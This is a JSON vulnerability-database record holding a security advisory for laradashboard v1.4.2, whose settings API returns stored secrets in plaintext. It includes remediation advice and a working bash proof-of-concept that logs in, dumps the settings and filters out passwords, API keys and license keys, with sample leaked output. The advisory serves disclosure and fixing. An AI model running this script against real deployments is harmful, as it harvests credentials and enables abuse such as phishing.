{"schema":"threatline.record/2","record":{"id":"GHSA-xgmw-7ppx-v7hq","aliases":["GHSA-xgmw-7ppx-v7hq"],"summary":"Raw Settings & Secret Dump via settings.view (extended by the new plaintext email_verification_api_key)","details":"# Raw Settings & Secret Dump via `settings.view` (extended by the new plaintext `email_verification_api_key`)\r\n\r\n- **Severity:**  CVSS `AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N` \r\n- **CWE:** 312 (cleartext storage of sensitive info) / 863\r\n- **Affected:** v1.4.2; `SettingResource`, `Api/SettingController`, `Setting` model, `LicenseVerificationService`, new `EmailVerificationService`\r\n\r\n## Summary\r\n\r\n`settings.view` (part of the legacy `settings.*` group granted to Admin by default) returns the **raw, unmasked `value` of every setting**, including credential fields. Settings secrets are stored/rendered in plaintext, so the disclosure is total.\r\n\r\n```php\r\n// SettingResource.php:17-26\r\nreturn collect($this->settings)->filter(...)->map(fn($s) => [\r\n    'key' => $s->key, 'value' => $s->value,    // raw\r\n])->values();\r\n// Api/SettingController.php:55-77 — settings.view -> index/show dump; update writes arbitrary key=>value\r\n```\r\n\r\nPlaintext storage sites verified:\r\n\r\n- `LicenseVerificationService.php:32-71` — `module_licenses` (JSON of customer-site licenses + keys) stored/returned raw.\r\n- `Setting.php:113,128` — credential-shaped keys (`*_key`, `mail_password`, ...) stored literally.\r\n- **NEW (1.4.2):** `EmailVerificationService.php:42-116` — `email_verification_api_key` kept plaintext in settings and echoed into the AbstractAPI call: `Http::get('https://emailvalidation.abstractapi.com/v1/', ['api_key' => settings('email_verification_api_key'), ...])`.\r\n\r\n## Reproduction (authenticated as Admin)\r\n\r\n```\r\nGET /admin/api/settings                        → full key=>value dump incl. secrets\r\nGET /api/settings/.json                        → same via settings.view\r\nsearch response for: _api_key, mail_password, module_licenses, email_verification_api_key, recaptcha_*\r\n```\r\n\r\n## Impact\r\n\r\n- Exfiltration of production credentials (SMTP, AI, license, recaptcha, payment, module keys).\r\n- The v1.4.2 AbstractAPI key is directly usable to drain the quota (ties into N-02) and to build a bulk-mailbox-verification oracle for phishing.\r\n- License keys fuel V-04 (module-license activation) and counterfeit-license detection bypass via `PurchaseModuleRequest`.\r\n\r\n## Remediation\r\n\r\n1. Allow-list non-sensitive keys in `SettingResource`/`Api/SettingController`; mask credential shapes (`*_key`, `*_secret`, `*_password`, tokens) as `••••`.\r\n2. Encrypt-at-rest for secrets (Laravel `Crypt`) + decrypt on demand only.\r\n3. Store MCP/verification API keys via `.env`/`config`, not editable settings.\r\n\r\n## PoC\r\n\r\n### Script\r\n\r\n```bash\r\n#!/usr/bin/env bash\r\n# V-03: Raw settings & secret dump via settings.view\r\nset -eu\r\nBASE=\"${BASE_URL:?Set BASE_URL to running app}\"\r\nADMIN_EMAIL=\"${ADMIN_EMAIL:-admin@example.com}\"\r\nADMIN_PASS=\"${ADMIN_PASS:-password}\"\r\nCOOKIE=$(mktemp)\r\ntrap 'rm -f \"$COOKIE\"' EXIT\r\n\r\ncurl -sS -c \"$COOKIE\" \"$BASE/login\" > /dev/null\r\nCSRF=$(curl -sS -b \"$COOKIE\" \"$BASE/login\" | grep -oP 'name=\"_token\"[^>]*value=\"\\K[^\"]+' | head -1)\r\ncurl -sS -b \"$COOKIE\" -c \"$COOKIE\" -X POST \"$BASE/login\" \\\r\n  -d \"_token=$CSRF&email=$ADMIN_EMAIL&password=$ADMIN_PASS\" -o /dev/null\r\n\r\necho \"[1/3] Dumping settings:\"\r\ncurl -sS -b \"$COOKIE\" \"$BASE/api/settings/.json\" | python3 -m json.tool 2>/dev/null | head -60\r\n\r\necho \"[2/3] Filtering credential-shaped keys:\"\r\ncurl -sS -b \"$COOKIE\" \"$BASE/api/settings/.json\" | python3 -c \"\r\nimport sys, json\r\ndata = json.load(sys.stdin)\r\nfor s in data.get('settings', []):\r\n    k = s.get('key','')\r\n    if any(t in k.lower() for t in ['_key','_secret','_password','token','license','smtp','verification']):\r\n        v = s.get('value',''); print(f'    {k}: {v[:30]}{\"...\" if len(v)>30 else \"\"}')\"\r\n\r\necho \"[3/3] Admin panel full dump (settings.view):\"\r\ncurl -sS -b \"$COOKIE\" \"$BASE/admin/settings\" -o /dev/null -w \"    admin settings page HTTP %{http_code}\\n\"\r\necho \"[+] Done — secrets returned in plaintext.\"\r\n```\r\n\r\n### Expected output\r\n\r\n```text\r\n[1/3] Dumping settings:\r\n    { \"settings\": [ {\"key\":\"general_site_name\",\"value\":\"My Site\"}, ... ] }\r\n[2/3] Filtering credential-shaped keys:\r\n    email_verification_api_key: 21ab34cd…\r\n    mail_mailer_password: S3cr3t…\r\n    module_licenses: {\"site.com\":[{\"license_key\":\"LKEY-…\",\"purchase_code\":\"…\"}]}\r\n    google_maps_api_key / ai_*_key / recaptcha_*: …\r\n[3/3] Admin panel full dump (settings.view):\r\n    admin settings page HTTP 200\r\n[+] Done — secrets returned in plaintext.\r\n```\r\n\r\nIncludes the v1.4.2 new `email_verification_api_key` (plaintext) — directly usable to drain the AbstractAPI quota and to bulk-verify mailboxes for phishing.\r\n\r\n\r\nConnect with the researcher: [Evilord on LinkedIn](https://www.linkedin.com/in/evilord)","categories":["Unclassified"],"product":"laradashboard/laradashboard","vendor":"","ecosystem":null,"affected_ranges":[{"source":"GitHub Advisory Database","source_url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-xgmw-7ppx-v7hq","source_modified_at":"2026-10-03T09:39:26Z","fetched_at":"2026-10-24T20:40:58.529015Z","package":{"ecosystem":"php,laravel","name":"laradashboard/laradashboard"},"range":"v1.4.2 "}],"fixed_versions":[],"cvss":6.5,"severity":"Medium","kev":{"listed":false},"epss":{"probability":null,"percentile":null,"score_date":null},"published_at":"2026-10-03T09:39:26Z","modified_at":"2026-10-03T09:39:26Z","provenance":[{"source":"GitHub Advisory Database","url":"https://github.com/laradashboard/laradashboard/security/advisories/GHSA-xgmw-7ppx-v7hq","fetched_at":"2026-10-24T20:40:58.529015Z","source_modified_at":"2026-10-03T09:39:26Z"}],"sources":["GitHub Advisory Database"],"references":[],"locations":[],"motoko_assessment":{"status":"requires_architecture_review","automatic_remediation":false},"classification":{"method":"product-first software-layer rules","rules_version":"2.1","matched_on":null,"confidence":"unknown","reviewed":false},"change_timestamp":"2026-10-03T09:39:26Z","content_hash":"c0309b9233f05d18338a7d5e48da6291fa98f4372ba5dbe07fbfaecd83357b18"}}
